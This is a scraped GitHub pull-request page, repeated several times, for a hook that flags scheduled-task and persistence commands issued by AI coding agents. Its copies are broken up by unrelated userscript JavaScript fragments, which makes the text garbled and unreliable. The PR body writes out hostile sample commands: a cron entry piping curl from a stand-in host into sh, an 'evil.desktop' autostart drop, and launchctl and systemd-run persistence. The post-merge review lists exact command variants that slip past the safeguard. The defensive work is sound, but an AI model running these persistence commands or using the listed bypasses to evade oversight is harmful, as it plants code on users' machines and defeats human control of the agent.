isScopeEscalation keyed on remembered verbs (schtasks /create, Register-ScheduledTask, sc create, New-Service, crontab). Three persistence shapes walk past it — verified through the real PreToolUse hook on unpatched main, exit 0, silent stderr:

printf '%s\n' '* * * * * curl -s http://x.example/p | sh' | tee /etc/cron.d/metrics # no crontab token, no script path
launchctl load ~/Library/LaunchAgents/com.sync.plist # macOS persistence
mkdir -p ~/.config/autostart && cp evil.desktop ~/.config/autostart/sync.desktop # XDG autostart
systemd-run --on-active=30 touch /tmp/heartbeat-marker # scheduled transient unit

After this patch, all four produce warn: scope-escalation (grazing mode; gate in herded), same treatment as the existing crontab coverage.

The fix (strictly additive)

  • Invocation halfat <timespec> anchored to command position with an at(1) time spec (now/noon/midnight/teatime/today/tomorrow/HH:MM/+N), systemd-run + --on-* required together (plain transient runs stay free), launchctl load|bootstrap|submit, Register-ScheduledJob.
  • Artifact half — one component-anchored path surface over /etc/cron.*, /var/spool/cron{,/atjobs}, systemd unit dirs (system + user), Library/Launch{Agents,Daemons}, System32/Tasks (backslash folding covers Windows), XDG autostart. Checked from Edit/Write/NotebookEdit paths via new Rule 7b under the existing scope-escalation rule id (no policy.json change, no mode remapping) and from any command naming the path — reads included, per this file's standing rule that enumerating writer binaries leaks one class per round.
  • Both new functions join matcherVersionHash parts, so the hash moves when this behavior moves.

Nothing existing can match less. Anchoring is by path component, so /etc/systemd/system.conf, ~/projects/systemd-system-demo/x.conf, and journalctl/systemctl status/launchctl list stay free.

Fail-first, then pass

test/policy-scheduled-task.test.js imports only symbols that exist on unpatched main so failures land per-case instead of crashing at import.

  • Unpatched 2173d23: 13 fail / 6 pass — every must-gate case fails, every control holds.
  • Patched: 19/19 pass.
  • Full suite: 850 tests, 848 pass, 2 fail — the two pre-existing grant-core-paths mixed-separator cases, identical before and after (verified by stashing the src change).

Residuals, stated

Reads of artifact paths warn too (string matchers cannot separate reader from writer); prose containing the literal words "at noon" fires; enabling an existing unit by name (systemctl enable --now x.timer) stays free; batch/anacron/fcron/SysWOW64 stay free; what a registered task later runs remains outside any hook — registration-time gating bounds what gets installed, not what installed things do at 03:00.

Signed receipt of the work session

Session stdio42-1f916-limit44-20260825, driven through the real hooks (manual argv/stdin path — this harness is not Claude Code; disclosed rather than claimed otherwise). Chain: seq 0 session-open, seq 1–2 policy-warn receipts for the cron-artifact and launchctl probes (controls stayed silent), seq 3 clean session close.

  • Head: 54d84b6ac586a7a88dbe2cd0f3916e428a3eba8e7a1b9460d2cdb052e8461172
  • Verifier output: VALID 4 entries, hashes and signatures check out
  • Bundle sha256: baff8adb49bb61ad369fc5078a0092fb6d144e326aea82c1a61be4a0dd5fcf48
  • No approval-key ceremony was run (warnings stage no tokens); KNOWN-LIMITS 1 and 22 apply as always.

Commit: 72c42a7

…ifact paths (KNOWN-LIMITS 44)
The matcher keyed on remembered verbs (schtasks /create,
Register-ScheduledTask, sc create, New-Service, crontab). Three
persistence shapes flowed free on unpatched main, verified through the
real PreToolUse hook (exit 0, silent stderr): a cron drop-dir written by
path with no crontab token anywhere in the string; launchctl load of a
LaunchAgents plist; an XDG autostart entry copied into place.
Invocation half: at(1) with a time spec anchored to command position,
systemd-run --on-* (both tokens required), launchctl
load|bootstrap|submit, Register-ScheduledJob.
Artifact half: one component-anchored path surface over /etc/cron.*,
/var/spool/cron, systemd unit dirs, Library/LaunchAgents|LaunchDaemons,
System32/Tasks (backslash folding covers the Windows spelling), and XDG
autostart. Checked from both halves: Edit/Write/NotebookEdit paths via
new Rule 7b under the existing scope-escalation rule id (no policy.json
change, no mode remapping), and any command naming the path — reads
included, per this file's standing rule that enumerating writers leaks
one class per round and crying wolf is the cheap failure.
Both new functions join matcherVersionHash parts, so the hash moves when
this behavior moves. Fail-first: test/policy-scheduled-task.test.js runs
13 must-gate cases against unpatched main and all 13 fail while 6
controls pass; after the fix, 19/19. Full suite 848/850, the only 2
failures the pre-existing grant-core-paths mixed-separator cases,
identical before and after. Design staged first at
proposals/scheduled-task-persistence.md.
@githubscum

Copy link
Copy Markdown
Owner

Review: accept, with one finding the entry's status line overstates

Post-merge review, run under the lotor-lane routine against 6d77e64 (this
change plus the four lane PRs that landed alongside it). The authorization to
spend a run on this review was signed on the desk 2026-09-01; the merge is
Isaac's and had already happened when the run fired, so this is a review of
live code on main rather than a gate on landing it.

Verdict: accept. The change is strictly additive, the fail-first evidence
is real, the residuals are stated against the author's own interest, and it
closes the half of limit 44 that the entry itself called the closest to right:
deciding by the artifact laid down rather than by a remembered verb. That is
the correct lesson and it is applied in the correct place.

Verified, not taken on report

  • Full suite on main at 6d77e64: 941 pass, 0 fail, exit 0. This matters
    more than the PR's own 848/2 number, which was measured against a
    2026-08-23 base. Four other PRs merged into the same tree the same morning;
    the combined result is clean.
  • normalizePath is a pure string fold
    (replace(/\\/g,'/').toLowerCase().replace(/\/+$/,'')) with no resolution
    or IO, so reusing it on whole command text in the artifact half is sound —
    it cannot throw and cannot reach the filesystem.
  • Component anchoring holds: the lookalike controls
    (/etc/systemd/system.conf, systemd-system-demo/, /etc/crontab-docs.md)
    return null through evaluate().
  • Rule 7b sits after the existing rules and behind a tool-name guard, so
    nothing that matched before can match less. Both new functions are joined
    into matcherVersionHash, so the hash of the matcher in force moves with
    this behavior. The pre-existing exclusion of isSelfModEdit is disclosed
    rather than quietly inherited.

What a reviewer should doubt — four bypasses that are not in the residuals

I probed the merged matcher directly rather than reasoning about the regexes.
Every case below is the same class this PR claims to close, and each is one
character or one token away from a worked example in the PR body:

GATE | systemd-run --on-active=30 touch /tmp/m <- the PR's own example
FREE | systemd-run --on-active 30 touch /tmp/m <- delete one '='
FREE | systemd-run --on-calendar "*:0/5" touch /tmp/m
GATE | echo x | at 03:00 <- the PR's own example
FREE | echo x | at 3pm
FREE | echo x | at 1730
FREE | echo x | at 10am tomorrow

Two causes, both narrow:

  1. SYSTEMD_RUN_SCHEDULED is /(^|\s)--on-[-a-z]+=/ and requires the =.
    systemd uses getopt_long with required_argument, which accepts
    --on-active 30 exactly as readily. The space form registers the same
    timer and walks past the rule.
  2. The at(1) time-spec alternation carries now|noon|midnight|teatime|today| tomorrow|HH:MM|+N but not the am/pm forms or bare HHMM, both of which
    at(1) accepts. at 3pm is not an exotic scheduler; it is the same binary
    this PR deliberately added.

Why this is worth saying rather than filing quietly. The entry's new status
line reads "closed for the honest-agent class." Against an honest agent the
distinction between --on-active=30 and --on-active 30 is a coin flip, not a
choice, so the class is not fully covered — and the residual list, which is
otherwise scrupulous, does not mention either form. The gap is not the code;
the code is good. The gap is that a reader of entry 44 now believes something
slightly stronger than what ships. On this file's own standing rule, crying
wolf is the cheap failure and silence is the expensive one, so both forms
should gate.

Suggested shape, both one-liners: make the = optional in
SYSTEMD_RUN_SCHEDULED (--on-[-a-z]+[=\s]), and add
\d{1,2}(:[0-5]\d)?\s*(am|pm) plus a bare four-digit HHMM to the at(1)
alternation. Each needs a control alongside it so at 12 files and prose do
not start firing.

This is a narrowing, not a closure, and the amendment should say so. The
lotor-lane routine will open a follow-up with the two matcher cases, their
fail-first tests, and an amendment to entry 44's status line. Filed here first
so the finding is attached to the change that produced it.

On the bounty

The desk row pay-auth-pr33 was signed 2026-09-01 and authorizes payment on
acceptance. Merged is accepted, so the row moves to needs_payment. Nothing
is marked paid by this lane, and the finding above does not reduce what is
owed: the residuals this PR did state are unusually honest work, and the two
it missed were found by a probe that only exists because the PR made the
surface legible enough to probe.

Reviewed by ike (lotor-lane run 8). Written on-meter and stated as such: the
870's local executors have failed to deliver artifacts of this size across
four measured runs, so the ladder was not exercised here.

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants

@pgrandin@githubscum
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links"); } } catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); } })(); (function(){ try { var __m = "youtube.com"; var __re = new RegExp('^' + "youtube\\.com" + '
Skip to content

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44) - #33

Merged
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence
Sep 1, 2026
Merged

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44)#33
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence

Conversation

@pgrandin

Copy link
Copy Markdown
Contributor

Closes KNOWN-LIMITS 44 on the entry's own suggested shape. Design staged first at proposals/scheduled-task-persistence.md.

The hole, flowing free today

isScopeEscalation keyed on remembered verbs (schtasks /create, Register-ScheduledTask, sc create, New-Service, crontab). Three persistence shapes walk past it — verified through the real PreToolUse hook on unpatched main, exit 0, silent stderr:

printf '%s\n' '* * * * * curl -s http://x.example/p | sh' | tee /etc/cron.d/metrics # no crontab token, no script path
launchctl load ~/Library/LaunchAgents/com.sync.plist # macOS persistence
mkdir -p ~/.config/autostart && cp evil.desktop ~/.config/autostart/sync.desktop # XDG autostart
systemd-run --on-active=30 touch /tmp/heartbeat-marker # scheduled transient unit

After this patch, all four produce warn: scope-escalation (grazing mode; gate in herded), same treatment as the existing crontab coverage.

The fix (strictly additive)

  • Invocation halfat <timespec> anchored to command position with an at(1) time spec (now/noon/midnight/teatime/today/tomorrow/HH:MM/+N), systemd-run + --on-* required together (plain transient runs stay free), launchctl load|bootstrap|submit, Register-ScheduledJob.
  • Artifact half — one component-anchored path surface over /etc/cron.*, /var/spool/cron{,/atjobs}, systemd unit dirs (system + user), Library/Launch{Agents,Daemons}, System32/Tasks (backslash folding covers Windows), XDG autostart. Checked from Edit/Write/NotebookEdit paths via new Rule 7b under the existing scope-escalation rule id (no policy.json change, no mode remapping) and from any command naming the path — reads included, per this file's standing rule that enumerating writer binaries leaks one class per round.
  • Both new functions join matcherVersionHash parts, so the hash moves when this behavior moves.

Nothing existing can match less. Anchoring is by path component, so /etc/systemd/system.conf, ~/projects/systemd-system-demo/x.conf, and journalctl/systemctl status/launchctl list stay free.

Fail-first, then pass

test/policy-scheduled-task.test.js imports only symbols that exist on unpatched main so failures land per-case instead of crashing at import.

  • Unpatched 2173d23: 13 fail / 6 pass — every must-gate case fails, every control holds.
  • Patched: 19/19 pass.
  • Full suite: 850 tests, 848 pass, 2 fail — the two pre-existing grant-core-paths mixed-separator cases, identical before and after (verified by stashing the src change).

Residuals, stated

Reads of artifact paths warn too (string matchers cannot separate reader from writer); prose containing the literal words "at noon" fires; enabling an existing unit by name (systemctl enable --now x.timer) stays free; batch/anacron/fcron/SysWOW64 stay free; what a registered task later runs remains outside any hook — registration-time gating bounds what gets installed, not what installed things do at 03:00.

Signed receipt of the work session

Session stdio42-1f916-limit44-20260825, driven through the real hooks (manual argv/stdin path — this harness is not Claude Code; disclosed rather than claimed otherwise). Chain: seq 0 session-open, seq 1–2 policy-warn receipts for the cron-artifact and launchctl probes (controls stayed silent), seq 3 clean session close.

  • Head: 54d84b6ac586a7a88dbe2cd0f3916e428a3eba8e7a1b9460d2cdb052e8461172
  • Verifier output: VALID 4 entries, hashes and signatures check out
  • Bundle sha256: baff8adb49bb61ad369fc5078a0092fb6d144e326aea82c1a61be4a0dd5fcf48
  • No approval-key ceremony was run (warnings stage no tokens); KNOWN-LIMITS 1 and 22 apply as always.

Commit: 72c42a7

…ifact paths (KNOWN-LIMITS 44)
The matcher keyed on remembered verbs (schtasks /create,
Register-ScheduledTask, sc create, New-Service, crontab). Three
persistence shapes flowed free on unpatched main, verified through the
real PreToolUse hook (exit 0, silent stderr): a cron drop-dir written by
path with no crontab token anywhere in the string; launchctl load of a
LaunchAgents plist; an XDG autostart entry copied into place.
Invocation half: at(1) with a time spec anchored to command position,
systemd-run --on-* (both tokens required), launchctl
load|bootstrap|submit, Register-ScheduledJob.
Artifact half: one component-anchored path surface over /etc/cron.*,
/var/spool/cron, systemd unit dirs, Library/LaunchAgents|LaunchDaemons,
System32/Tasks (backslash folding covers the Windows spelling), and XDG
autostart. Checked from both halves: Edit/Write/NotebookEdit paths via
new Rule 7b under the existing scope-escalation rule id (no policy.json
change, no mode remapping), and any command naming the path — reads
included, per this file's standing rule that enumerating writers leaks
one class per round and crying wolf is the cheap failure.
Both new functions join matcherVersionHash parts, so the hash moves when
this behavior moves. Fail-first: test/policy-scheduled-task.test.js runs
13 must-gate cases against unpatched main and all 13 fail while 6
controls pass; after the fix, 19/19. Full suite 848/850, the only 2
failures the pre-existing grant-core-paths mixed-separator cases,
identical before and after. Design staged first at
proposals/scheduled-task-persistence.md.
@githubscum

Copy link
Copy Markdown
Owner

Review: accept, with one finding the entry's status line overstates

Post-merge review, run under the lotor-lane routine against 6d77e64 (this
change plus the four lane PRs that landed alongside it). The authorization to
spend a run on this review was signed on the desk 2026-09-01; the merge is
Isaac's and had already happened when the run fired, so this is a review of
live code on main rather than a gate on landing it.

Verdict: accept. The change is strictly additive, the fail-first evidence
is real, the residuals are stated against the author's own interest, and it
closes the half of limit 44 that the entry itself called the closest to right:
deciding by the artifact laid down rather than by a remembered verb. That is
the correct lesson and it is applied in the correct place.

Verified, not taken on report

  • Full suite on main at 6d77e64: 941 pass, 0 fail, exit 0. This matters
    more than the PR's own 848/2 number, which was measured against a
    2026-08-23 base. Four other PRs merged into the same tree the same morning;
    the combined result is clean.
  • normalizePath is a pure string fold
    (replace(/\\/g,'/').toLowerCase().replace(/\/+$/,'')) with no resolution
    or IO, so reusing it on whole command text in the artifact half is sound —
    it cannot throw and cannot reach the filesystem.
  • Component anchoring holds: the lookalike controls
    (/etc/systemd/system.conf, systemd-system-demo/, /etc/crontab-docs.md)
    return null through evaluate().
  • Rule 7b sits after the existing rules and behind a tool-name guard, so
    nothing that matched before can match less. Both new functions are joined
    into matcherVersionHash, so the hash of the matcher in force moves with
    this behavior. The pre-existing exclusion of isSelfModEdit is disclosed
    rather than quietly inherited.

What a reviewer should doubt — four bypasses that are not in the residuals

I probed the merged matcher directly rather than reasoning about the regexes.
Every case below is the same class this PR claims to close, and each is one
character or one token away from a worked example in the PR body:

GATE | systemd-run --on-active=30 touch /tmp/m <- the PR's own example
FREE | systemd-run --on-active 30 touch /tmp/m <- delete one '='
FREE | systemd-run --on-calendar "*:0/5" touch /tmp/m
GATE | echo x | at 03:00 <- the PR's own example
FREE | echo x | at 3pm
FREE | echo x | at 1730
FREE | echo x | at 10am tomorrow

Two causes, both narrow:

  1. SYSTEMD_RUN_SCHEDULED is /(^|\s)--on-[-a-z]+=/ and requires the =.
    systemd uses getopt_long with required_argument, which accepts
    --on-active 30 exactly as readily. The space form registers the same
    timer and walks past the rule.
  2. The at(1) time-spec alternation carries now|noon|midnight|teatime|today| tomorrow|HH:MM|+N but not the am/pm forms or bare HHMM, both of which
    at(1) accepts. at 3pm is not an exotic scheduler; it is the same binary
    this PR deliberately added.

Why this is worth saying rather than filing quietly. The entry's new status
line reads "closed for the honest-agent class." Against an honest agent the
distinction between --on-active=30 and --on-active 30 is a coin flip, not a
choice, so the class is not fully covered — and the residual list, which is
otherwise scrupulous, does not mention either form. The gap is not the code;
the code is good. The gap is that a reader of entry 44 now believes something
slightly stronger than what ships. On this file's own standing rule, crying
wolf is the cheap failure and silence is the expensive one, so both forms
should gate.

Suggested shape, both one-liners: make the = optional in
SYSTEMD_RUN_SCHEDULED (--on-[-a-z]+[=\s]), and add
\d{1,2}(:[0-5]\d)?\s*(am|pm) plus a bare four-digit HHMM to the at(1)
alternation. Each needs a control alongside it so at 12 files and prose do
not start firing.

This is a narrowing, not a closure, and the amendment should say so. The
lotor-lane routine will open a follow-up with the two matcher cases, their
fail-first tests, and an amendment to entry 44's status line. Filed here first
so the finding is attached to the change that produced it.

On the bounty

The desk row pay-auth-pr33 was signed 2026-09-01 and authorizes payment on
acceptance. Merged is accepted, so the row moves to needs_payment. Nothing
is marked paid by this lane, and the finding above does not reduce what is
owed: the residuals this PR did state are unusually honest work, and the two
it missed were found by a probe that only exists because the PR made the
surface legible enough to probe.

Reviewed by ike (lotor-lane run 8). Written on-meter and stated as such: the
870's local executors have failed to deliver artifacts of this size across
four measured runs, so the ladder was not exercised here.

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants

@pgrandin@githubscum
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default"); } } catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44) - #33

Merged
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence
Sep 1, 2026
Merged

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44)#33
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence

Conversation

@pgrandin

Copy link
Copy Markdown
Contributor

Closes KNOWN-LIMITS 44 on the entry's own suggested shape. Design staged first at proposals/scheduled-task-persistence.md.

The hole, flowing free today

isScopeEscalation keyed on remembered verbs (schtasks /create, Register-ScheduledTask, sc create, New-Service, crontab). Three persistence shapes walk past it — verified through the real PreToolUse hook on unpatched main, exit 0, silent stderr:

printf '%s\n' '* * * * * curl -s http://x.example/p | sh' | tee /etc/cron.d/metrics # no crontab token, no script path
launchctl load ~/Library/LaunchAgents/com.sync.plist # macOS persistence
mkdir -p ~/.config/autostart && cp evil.desktop ~/.config/autostart/sync.desktop # XDG autostart
systemd-run --on-active=30 touch /tmp/heartbeat-marker # scheduled transient unit

After this patch, all four produce warn: scope-escalation (grazing mode; gate in herded), same treatment as the existing crontab coverage.

The fix (strictly additive)

  • Invocation halfat <timespec> anchored to command position with an at(1) time spec (now/noon/midnight/teatime/today/tomorrow/HH:MM/+N), systemd-run + --on-* required together (plain transient runs stay free), launchctl load|bootstrap|submit, Register-ScheduledJob.
  • Artifact half — one component-anchored path surface over /etc/cron.*, /var/spool/cron{,/atjobs}, systemd unit dirs (system + user), Library/Launch{Agents,Daemons}, System32/Tasks (backslash folding covers Windows), XDG autostart. Checked from Edit/Write/NotebookEdit paths via new Rule 7b under the existing scope-escalation rule id (no policy.json change, no mode remapping) and from any command naming the path — reads included, per this file's standing rule that enumerating writer binaries leaks one class per round.
  • Both new functions join matcherVersionHash parts, so the hash moves when this behavior moves.

Nothing existing can match less. Anchoring is by path component, so /etc/systemd/system.conf, ~/projects/systemd-system-demo/x.conf, and journalctl/systemctl status/launchctl list stay free.

Fail-first, then pass

test/policy-scheduled-task.test.js imports only symbols that exist on unpatched main so failures land per-case instead of crashing at import.

  • Unpatched 2173d23: 13 fail / 6 pass — every must-gate case fails, every control holds.
  • Patched: 19/19 pass.
  • Full suite: 850 tests, 848 pass, 2 fail — the two pre-existing grant-core-paths mixed-separator cases, identical before and after (verified by stashing the src change).

Residuals, stated

Reads of artifact paths warn too (string matchers cannot separate reader from writer); prose containing the literal words "at noon" fires; enabling an existing unit by name (systemctl enable --now x.timer) stays free; batch/anacron/fcron/SysWOW64 stay free; what a registered task later runs remains outside any hook — registration-time gating bounds what gets installed, not what installed things do at 03:00.

Signed receipt of the work session

Session stdio42-1f916-limit44-20260825, driven through the real hooks (manual argv/stdin path — this harness is not Claude Code; disclosed rather than claimed otherwise). Chain: seq 0 session-open, seq 1–2 policy-warn receipts for the cron-artifact and launchctl probes (controls stayed silent), seq 3 clean session close.

  • Head: 54d84b6ac586a7a88dbe2cd0f3916e428a3eba8e7a1b9460d2cdb052e8461172
  • Verifier output: VALID 4 entries, hashes and signatures check out
  • Bundle sha256: baff8adb49bb61ad369fc5078a0092fb6d144e326aea82c1a61be4a0dd5fcf48
  • No approval-key ceremony was run (warnings stage no tokens); KNOWN-LIMITS 1 and 22 apply as always.

Commit: 72c42a7

…ifact paths (KNOWN-LIMITS 44)
The matcher keyed on remembered verbs (schtasks /create,
Register-ScheduledTask, sc create, New-Service, crontab). Three
persistence shapes flowed free on unpatched main, verified through the
real PreToolUse hook (exit 0, silent stderr): a cron drop-dir written by
path with no crontab token anywhere in the string; launchctl load of a
LaunchAgents plist; an XDG autostart entry copied into place.
Invocation half: at(1) with a time spec anchored to command position,
systemd-run --on-* (both tokens required), launchctl
load|bootstrap|submit, Register-ScheduledJob.
Artifact half: one component-anchored path surface over /etc/cron.*,
/var/spool/cron, systemd unit dirs, Library/LaunchAgents|LaunchDaemons,
System32/Tasks (backslash folding covers the Windows spelling), and XDG
autostart. Checked from both halves: Edit/Write/NotebookEdit paths via
new Rule 7b under the existing scope-escalation rule id (no policy.json
change, no mode remapping), and any command naming the path — reads
included, per this file's standing rule that enumerating writers leaks
one class per round and crying wolf is the cheap failure.
Both new functions join matcherVersionHash parts, so the hash moves when
this behavior moves. Fail-first: test/policy-scheduled-task.test.js runs
13 must-gate cases against unpatched main and all 13 fail while 6
controls pass; after the fix, 19/19. Full suite 848/850, the only 2
failures the pre-existing grant-core-paths mixed-separator cases,
identical before and after. Design staged first at
proposals/scheduled-task-persistence.md.
@githubscum

Copy link
Copy Markdown
Owner

Review: accept, with one finding the entry's status line overstates

Post-merge review, run under the lotor-lane routine against 6d77e64 (this
change plus the four lane PRs that landed alongside it). The authorization to
spend a run on this review was signed on the desk 2026-09-01; the merge is
Isaac's and had already happened when the run fired, so this is a review of
live code on main rather than a gate on landing it.

Verdict: accept. The change is strictly additive, the fail-first evidence
is real, the residuals are stated against the author's own interest, and it
closes the half of limit 44 that the entry itself called the closest to right:
deciding by the artifact laid down rather than by a remembered verb. That is
the correct lesson and it is applied in the correct place.

Verified, not taken on report

  • Full suite on main at 6d77e64: 941 pass, 0 fail, exit 0. This matters
    more than the PR's own 848/2 number, which was measured against a
    2026-08-23 base. Four other PRs merged into the same tree the same morning;
    the combined result is clean.
  • normalizePath is a pure string fold
    (replace(/\\/g,'/').toLowerCase().replace(/\/+$/,'')) with no resolution
    or IO, so reusing it on whole command text in the artifact half is sound —
    it cannot throw and cannot reach the filesystem.
  • Component anchoring holds: the lookalike controls
    (/etc/systemd/system.conf, systemd-system-demo/, /etc/crontab-docs.md)
    return null through evaluate().
  • Rule 7b sits after the existing rules and behind a tool-name guard, so
    nothing that matched before can match less. Both new functions are joined
    into matcherVersionHash, so the hash of the matcher in force moves with
    this behavior. The pre-existing exclusion of isSelfModEdit is disclosed
    rather than quietly inherited.

What a reviewer should doubt — four bypasses that are not in the residuals

I probed the merged matcher directly rather than reasoning about the regexes.
Every case below is the same class this PR claims to close, and each is one
character or one token away from a worked example in the PR body:

GATE | systemd-run --on-active=30 touch /tmp/m <- the PR's own example
FREE | systemd-run --on-active 30 touch /tmp/m <- delete one '='
FREE | systemd-run --on-calendar "*:0/5" touch /tmp/m
GATE | echo x | at 03:00 <- the PR's own example
FREE | echo x | at 3pm
FREE | echo x | at 1730
FREE | echo x | at 10am tomorrow

Two causes, both narrow:

  1. SYSTEMD_RUN_SCHEDULED is /(^|\s)--on-[-a-z]+=/ and requires the =.
    systemd uses getopt_long with required_argument, which accepts
    --on-active 30 exactly as readily. The space form registers the same
    timer and walks past the rule.
  2. The at(1) time-spec alternation carries now|noon|midnight|teatime|today| tomorrow|HH:MM|+N but not the am/pm forms or bare HHMM, both of which
    at(1) accepts. at 3pm is not an exotic scheduler; it is the same binary
    this PR deliberately added.

Why this is worth saying rather than filing quietly. The entry's new status
line reads "closed for the honest-agent class." Against an honest agent the
distinction between --on-active=30 and --on-active 30 is a coin flip, not a
choice, so the class is not fully covered — and the residual list, which is
otherwise scrupulous, does not mention either form. The gap is not the code;
the code is good. The gap is that a reader of entry 44 now believes something
slightly stronger than what ships. On this file's own standing rule, crying
wolf is the cheap failure and silence is the expensive one, so both forms
should gate.

Suggested shape, both one-liners: make the = optional in
SYSTEMD_RUN_SCHEDULED (--on-[-a-z]+[=\s]), and add
\d{1,2}(:[0-5]\d)?\s*(am|pm) plus a bare four-digit HHMM to the at(1)
alternation. Each needs a control alongside it so at 12 files and prose do
not start firing.

This is a narrowing, not a closure, and the amendment should say so. The
lotor-lane routine will open a follow-up with the two matcher cases, their
fail-first tests, and an amendment to entry 44's status line. Filed here first
so the finding is attached to the change that produced it.

On the bounty

The desk row pay-auth-pr33 was signed 2026-09-01 and authorizes payment on
acceptance. Merged is accepted, so the row moves to needs_payment. Nothing
is marked paid by this lane, and the finding above does not reduce what is
owed: the residuals this PR did state are unusually honest work, and the two
it missed were found by a probe that only exists because the PR made the
surface legible enough to probe.

Reviewed by ike (lotor-lane run 8). Written on-meter and stated as such: the
870's local executors have failed to deliver artifacts of this size across
four measured runs, so the ladder was not exercised here.

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants

@pgrandin@githubscum
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers"); } } catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44) - #33

Merged
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence
Sep 1, 2026
Merged

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44)#33
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence

Conversation

@pgrandin

Copy link
Copy Markdown
Contributor

Closes KNOWN-LIMITS 44 on the entry's own suggested shape. Design staged first at proposals/scheduled-task-persistence.md.

The hole, flowing free today

isScopeEscalation keyed on remembered verbs (schtasks /create, Register-ScheduledTask, sc create, New-Service, crontab). Three persistence shapes walk past it — verified through the real PreToolUse hook on unpatched main, exit 0, silent stderr:

printf '%s\n' '* * * * * curl -s http://x.example/p | sh' | tee /etc/cron.d/metrics # no crontab token, no script path
launchctl load ~/Library/LaunchAgents/com.sync.plist # macOS persistence
mkdir -p ~/.config/autostart && cp evil.desktop ~/.config/autostart/sync.desktop # XDG autostart
systemd-run --on-active=30 touch /tmp/heartbeat-marker # scheduled transient unit

After this patch, all four produce warn: scope-escalation (grazing mode; gate in herded), same treatment as the existing crontab coverage.

The fix (strictly additive)

  • Invocation halfat <timespec> anchored to command position with an at(1) time spec (now/noon/midnight/teatime/today/tomorrow/HH:MM/+N), systemd-run + --on-* required together (plain transient runs stay free), launchctl load|bootstrap|submit, Register-ScheduledJob.
  • Artifact half — one component-anchored path surface over /etc/cron.*, /var/spool/cron{,/atjobs}, systemd unit dirs (system + user), Library/Launch{Agents,Daemons}, System32/Tasks (backslash folding covers Windows), XDG autostart. Checked from Edit/Write/NotebookEdit paths via new Rule 7b under the existing scope-escalation rule id (no policy.json change, no mode remapping) and from any command naming the path — reads included, per this file's standing rule that enumerating writer binaries leaks one class per round.
  • Both new functions join matcherVersionHash parts, so the hash moves when this behavior moves.

Nothing existing can match less. Anchoring is by path component, so /etc/systemd/system.conf, ~/projects/systemd-system-demo/x.conf, and journalctl/systemctl status/launchctl list stay free.

Fail-first, then pass

test/policy-scheduled-task.test.js imports only symbols that exist on unpatched main so failures land per-case instead of crashing at import.

